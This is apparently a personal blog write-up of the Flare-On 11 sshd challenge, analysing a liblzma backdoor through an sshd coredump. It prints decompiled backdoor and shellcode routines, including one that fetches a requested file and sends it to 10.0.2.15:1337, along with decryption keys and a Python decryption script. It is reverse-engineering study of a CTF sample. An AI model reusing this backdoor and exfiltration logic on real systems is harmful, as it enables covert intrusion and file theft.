Flare-On 11 - 05 sshd
This post will go into my write-up for challenge 5 of the Flare-On CTF that is hosted yearly by the FLARE team of Mandiant (Google). I did not manage to finish all of the challenges this year, but I learned some new things regardless and thought challenge 5 was a really well thought out challenge.

Premise
You receive a container image in a TAR
file (my favorite), it's up to the participant to find the interesting files in this container to start our analysis for the challenge. I started out by performing some basic enumeration to see which folders we have and noticed a weird folder named /fmnt
. Doing a quick grep on the system showed only 2 other files out of which there's only one file interesting enough;
$ grep -Rnwi "fmnt"
Binary file ./ssh_container.tar matches
Binary file ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 matches
I then checked for some strings within the coredump itself for some quick wins and seemed to get an initial hint to the xz backdoor from earlier this year;
00007730: 0000 0000 0000 0000 6e75 2f6c 6962 6c7a ........nu/liblz
00007740: 6d61 2e73 6f2e 3500 622f 7838 365f 3634 ma.so.5.b/x86_64
00007750: 2d6c 696e 7578 2d67 ff00 0000 0000 0000 -linux-g.
It's pretty clear at this point we will have to analyze the coredump that is present in this container so I grabbed the /usr/sbin/sshd
binary together with the coredump and started to analyze it.
Analyzing the coredump
To start analyzing the coredump I used gef which is a fancy wrapper for GDB to make your life a little more pleasant;
gdb -c sshd.core.93794.0.0.11.1725917676 sshd
When we look at the stacktrace we get the following information:
gef➤ bt
#0 0x0000000000000000 in ?? ()
#1 0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#2 0x000055b46c7867c0 in ?? ()
#3 0x000055b46c73f9d7 in ?? ()
#4 0x000055b46c73ff80 in ?? ()
#5 0x000055b46c71376b in ?? ()
#6 0x000055b46c715f36 in ?? ()
#7 0x000055b46c7199e0 in ?? ()
#8 0x000055b46c6ec10c in ?? ()
#9 0x00007f4a18e5824a in __libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=0x4, argv=argv@entry=0x7ffcc6602eb8) at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=0x4, argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8) at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()
Again we have a reference from liblzma.so.5
in our stackframes...
We can then inspect the stackframes listed with the frame <stacknumber>
command, I started by looking at frame 0
and inspecting the registers. To make sense of this we also need to know what was running at what address in memory, we can use the i proc m
command to do so. We can then annotate a little bit where each register is pointing to:
gef➤ i r
rax 0x0 0x0
rbx 0x1 0x1
rcx 0x55b46d58e080 0x55b46d58e080
rdx 0x55b46d58eb20 0x55b46d58eb20
rsi 0x55b46d51dde0 0x55b46d51dde0
rdi 0x200 0x200
rbp 0x55b46d51dde0 0x55b46d51dde0
rsp 0x7ffcc6601e98 0x7ffcc6601e98
r8 0x1 0x1 // Unknown, possibly bool value
r9 0x7ffcc6601e10 0x7ffcc6601e10
r10 0x1e 0x1e // Looks like a size
r11 0x7d63ee63 0x7d63ee63
r12 0x200 0x200 // Looks like a size
r13 0x55b46d58eb20 0x55b46d58eb20
r14 0x55b46d58e080 0x55b46d58e080 // sshd memory space
r15 0x7ffcc6601ec0 0x7ffcc6601ec0
rip 0x0 0x0 // INVALID -> this will cause a crash
eflags 0x10206 [ PF IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
So the above doesn't give us a whole lot yet, we can also check the caller of this routine by looking at stack frame 1
, suspiciously this is the frame of liblzma.so.5
which was recently in the news because of the xz
backdoor. The RIP
register is pointing into the memory space of liblzma.so.5
before the crash so it makes sense to zoom in a little bit more into this;
0x7f4a18c8f857: call 0x7f4a18c8a830 <getuid@plt>
0x7f4a18c8f85c: lea rsi,[rip+0x19f79] # 0x7f4a18ca97dc
0x7f4a18c8f863: test eax,eax
0x7f4a18c8f865: jne 0x7f4a18c8f877
0x7f4a18c8f867: cmp DWORD PTR [rbp+0x0],0xc5407a48
0x7f4a18c8f86e: je 0x7f4a18c8f8c0
0x7f4a18c8f870: lea rsi,[rip+0x19f51] # 0x7f4a18ca97c8
0x7f4a18c8f877: xor edi,edi
0x7f4a18c8f879: call 0x7f4a18c8acf0 <dlsym@plt>
0x7f4a18c8f87e: mov r8d,ebx
0x7f4a18c8f881: mov rcx,r14
0x7f4a18c8f884: mov rdx,r13
0x7f4a18c8f887: mov rsi,rbp
0x7f4a18c8f88a: mov edi,r12d
0x7f4a18c8f88d: call rax
=> 0x7f4a18c8f88f: mov rbx,QWORD PTR [rsp+0xe8]
So this shows us that dlsym
was called with a certain value and for whatever reason our program crashed after calling this. Let's see what function of the liblzma.so.5
we're looking at by looking at stack frame 2
and printing the disassembly around the RIP
again:
0x55b46c78678b: call 0x55b46c6e73c0 <malloc@plt>
0x55b46c786790: mov r13,rax
0x55b46c786793: test rax,rax
0x55b46c786796: je 0x55b46c78684f
0x55b46c78679c: mov r9,QWORD PTR [rsp+0x8]
0x55b46c7867a1: mov rsi,QWORD PTR [rsp+0x18]
0x55b46c7867a6: mov rcx,rbx
0x55b46c7867a9: mov rdx,rax
0x55b46c7867ac: mov r8d,0x1
0x55b46c7867b2: mov r12d,0xffffffea
0x55b46c7867b8: mov edi,r9d
0x55b46c7867bb: call 0x55b46c6e62b0 <RSA_public_decrypt@plt>
=> 0x55b46c7867c0: test eax,eax
Checking where the call for RSA_public_decrypt
is taking us:
gef➤ x/64i 0x55b46c6e62b0 - 0x80
<SNIPPED>
0x55b46c6e62b0 <RSA_public_decrypt@plt>: jmp QWORD PTR [rip+0x125f62] # 0x55b46c80c218 <[email protected]>
0x55b46c6e62b6 <RSA_public_decrypt@plt+6>: push 0x28
0x55b46c6e62bb <RSA_public_decrypt@plt+11>: jmp 0x55b46c6e6020
<SNIPPED>
liblzma.so.5
With the above information I loaded the liblzma.so.5
binary into BinaryNinja to find the above routines in the binary and see what was going on:
00009857 e8d4afffff call getuid
0000985c 488d35799f0100 lea rsi, [rel data_237dc] {"RSA_public_decrypt"}
00009863 85c0 test eax, eax
00009865 7510 jne 0x9877
00009867 817d00487a40c5 cmp dword [rbp], 0xc5407a48
0000986e 7450 je 0x98c0
00009870 488d35519f0100 lea rsi, [rel data_237c8] {"RSA_public_decrypt "}
00009877 31ff xor edi, edi {0x0}
00009879 e872b4ffff call dlsym
0000987e 4189d8 mov r8d, ebx
00009881 4c89f1 mov rcx, r14
00009884 4c89ea mov rdx, r13
00009887 4889ee mov rsi, rbp
0000988a 4489e7 mov edi, r12d
0000988d ffd0 call rax
0000988f // RIP was here
0000988f 488b9c24e8000000 mov rbx, qword [rsp+0xe8 {var_40}]
Interestingly enough the dlsym
loaded the RSA_public_decrypt
value and passed this function as its return. A thing to note is that this function contains an extra space at the end and could indicate that it is trying to load a function that doesn't exist RSA_public_decrypt
(without the space at the end), therefore crashing the dlsym
call.
In the above disassembly snippet we can already observe a weird comparison being done, it becomes a bit more clear in the decompiled output;
int64_t dlsym_RSA_public_decrypt(int32_t arg1, int32_t* arg2, int64_t arg3, int64_t arg4, int32_t arg5)
void* fsbase
int64_t rax = *(fsbase + 0x28)
char const* const rsi = "RSA_public_decrypt"
if (getuid() == 0)
if (*arg2 == 0xc5407a48) // Comparison with 0xc5407a48
<SNIPPED>
This check is done on the value present in RBP
, a quick check reveals this is indeed the case:
gef➤ x $rbp
0x55b46d51dde0: 0xc5407a48
After some annotation of the shellcode we have a function that looks like the following:
int64_t dlsym_RSA_public_decrypt(int32_t arg1, int32_t* arg2,
int64_t arg3, int64_t arg4, int32_t arg5)
void* fsbase
int64_t rax = *(fsbase + 0x28)
char const* const funcname = "RSA_public_decrypt"
if (getuid() == 0)
if (*arg2 == 0xc5407a48)
void out
chacha20_block(&out, key: &arg2[1], nonce: &arg2[9], index: 0)
void* shellcode = memcpy(mmap(addr: nullptr, len: sx.q(shellcode_len), prot: 7, flags: 0x22, fd: 0xffffffff, offset: 0), shellcode, sx.q(shellcode_len))
chacha20_crypt(&out, shellcode, sx.q(shellcode_len))
shellcode()
chacha20_block(&out, key: &arg2[1], nonce: &arg2[9], index: 0)
chacha20_crypt(&out, shellcode, sx.q(shellcode_len))
funcname = "RSA_public_decrypt "
int64_t result = dlsym(0, funcname)(zx.q(arg1), arg2, arg3, arg4, zx.q(arg5))
<SNIPPED>
The above code loads a blob of data which is shellcode that is encrypted with ChaCha20, decrypts this shellcode and then executes it. The key and nonce used for the decryption can be found in the RSI register;
key: RSI[1] (uint128) = 943df638a81813e2de6318a507f9a0ba2dbb8a7ba63666d08d11a65ec914d66f
nonce: RSI[9] = f236839f4dcd711a52862955
A very simply Python script can then be used to decrypt the blob of data that was found in the liblzma.so.5 binary;
from Crypto.Cipher import ChaCha20
shellcode = bytes.fromhex(SHELLCODE)
cipher = ChaCha20.new(key=bytes.fromhex("943df638a81813e2de6318a507f9a0ba2dbb8a7ba63666d08d11a65ec914d66f"), nonce=bytes.fromhex("f236839f4dcd711a52862955"))
decrypted = cipher.decrypt(shellcode)
if decrypted.endswith(b"expand 32-byte K\x00"):
print(decrypted)
print(decrypted.hex())
Shellcode
This new functionality leads to some network connections being set up towards 10.0.2.15:1337
and receive 3 packets of different lengths; packet 1: 0x20
, packet 2: 0xC
, packet 3: 0x4
, totaling 48 bytes;
int64_t shellcode_recv(int64_t arg1, int64_t arg2)
int64_t var_10 = arg2
int64_t var_18 = arg1
// connects to 10.0.2.15:1337
int32_t sockfd = c2_connect(arg1, arg2, port: 1337, 0xa00020f)
void chacha20_key_packet
syscall(sys_recvfrom {0x2d}, sockfd, buf: &chacha20_key_packet, len: 0x20, flags: 0, src_addr: nullptr, addrlen: nullptr)
void chacha20_nonce_packet
syscall(sys_recvfrom {0x2d}, sockfd, buf: &chacha20_nonce_packet, len: 0xc, flags: 0, src_addr: nullptr, addrlen: nullptr)
int32_t len_packet
syscall(sys_recvfrom {0x2d}, sockfd, buf: &len_packet, len: 4, flags: 0, src_addr: nullptr, addrlen: nullptr)
void pathname_packet
*(&pathname_packet + sx.q(syscall(sys_recvfrom {0x2d}, sockfd, buf: &pathname_packet, len: zx.q(len_packet), flags: 0, src_addr: nullptr, addrlen: nullptr))) = 0
int32_t file_fd = syscall(sys_open {2}, pathname: &pathname_packet, flags: 0)
void _filebuf
char* filebuf = &_filebuf
syscall(sys_read {0}, fd: file_fd, buf: filebuf, count: 128)
void* filebuf_end = &_filebuf
while (i != 0)
bool cond:0_1 = 0 != *filebuf_end
filebuf_end += 1
i -= 1
if (not(cond:0_1))
break
int32_t var_ec = not.d(i.d) - 1
unkstruct_1* outstruct
chacha_init(__filebuf: filebuf_end, filebuf, &chacha20_key_packet, &chacha20_nonce_packet, nullbyte: 0, &outstruct)
chacha_decrypt(filebuf_end, filebuf, filebuf: &_filebuf, filesize: zx.q(var_ec), &outstruct)
syscall(sys_sendto {0x2c}, sockfd, buf: &var_ec, len: 4, flags: 0, dest_addr: nullptr, addrlen: 0)
void* rsi_5 = &_filebuf
uint64_t sockfd_1 = zx.q(sockfd)
syscall(sys_sendto {0x2c}, sockfd: sockfd_1.d, buf: rsi_5, len: zx.q(var_ec), flags: 0, dest_addr: nullptr, addrlen: 0)
close_file(file_fd)
close_socket(sockfd_1, rsi_5, 0, sockfd)
return 0
During the string "analysis" I noticed a string in the coredump that led me to an easy way to uncover the above information we need to decrypt whatever buffer was read from that file;
001f4be0: a012 60c6 fc7f 0000 8dec 9112 eb76 0eda ..`..........v..
001f4bf0: 7c7d 87a4 4327 1c35 d9e0 cb87 8993 b4d9 |}..C'.5........
001f4c00: 04ae f934 fa21 66d7 1111 1111 1111 1111 ...4.!f.........
001f4c10: 1111 1111 2000 0000 2f72 6f6f 742f 6365 .... .../root/ce
001f4c20: 7274 6966 6963 6174 655f 6175 7468 6f72 rtificate_author
001f4c30: 6974 795f 7369 676e 696e 675f 6b65 792e ity_signing_key.
001f4c40: 7478 7400 ffff ffff 0000 0000 0000 0000 txt.............
If we look at the pattern of the packets received we can lay out the order:
key: 8dec9112eb760eda7c7d87a443271c35d9e0cb878993b4d904aef934fa2166d7
nonce: 111111111111111111111111
size: 0x20 (size of filename)
Another clever way of finding this information came from a friend of mine who calculated back using the stack offset of the function called for initializing the ChaCha20 routine;
As the function is called the stack sits at 0x16b0
, going from there I simply started dumping hex values until I saw a pattern emerging and a piece of hex that could indicate a size. This let me to: $rsp-0x16b0+1024
-> points to start of chacha20_packet
, there's a RSP-0x1688
at the start of the function connecting to the C2 and receiving the packets. We need to calculate backwards to get the contents of the ChaCha20 key packet, nonce packet and pathname packet.
Decrypting the buffer
The last part had me stuck for quite a while as it turned out that this was a modified ChaCha20 routine where the constants were changed... We can now go 2 ways:
Change the Python package we used earlier to use different constants;
Emulate the shellcode's routine using something like unicorn;
I opted to go for the emulation as I had too little experience with this and it turned out to be a good exercise.
Because the stack is not that large we can simply dump it and traverse it byte-by-byte until we get output that is somewhat resembling the flag format that we expect. And we need to patch the 64th byte of each buffer we're attempting to contain the @
character so it matches the struct that is being build in the shellcode.
You can find the emulator code in this gist :)
Conclusion
Thank you FLARE team for another year of cool challenges, challenge 7 really underlines the need for me to dive more into the basics of cryptography and why it works ;) This challenge learned me some new cool tricks that will sure prove to be useful in my day-to-day job as well!
Last updated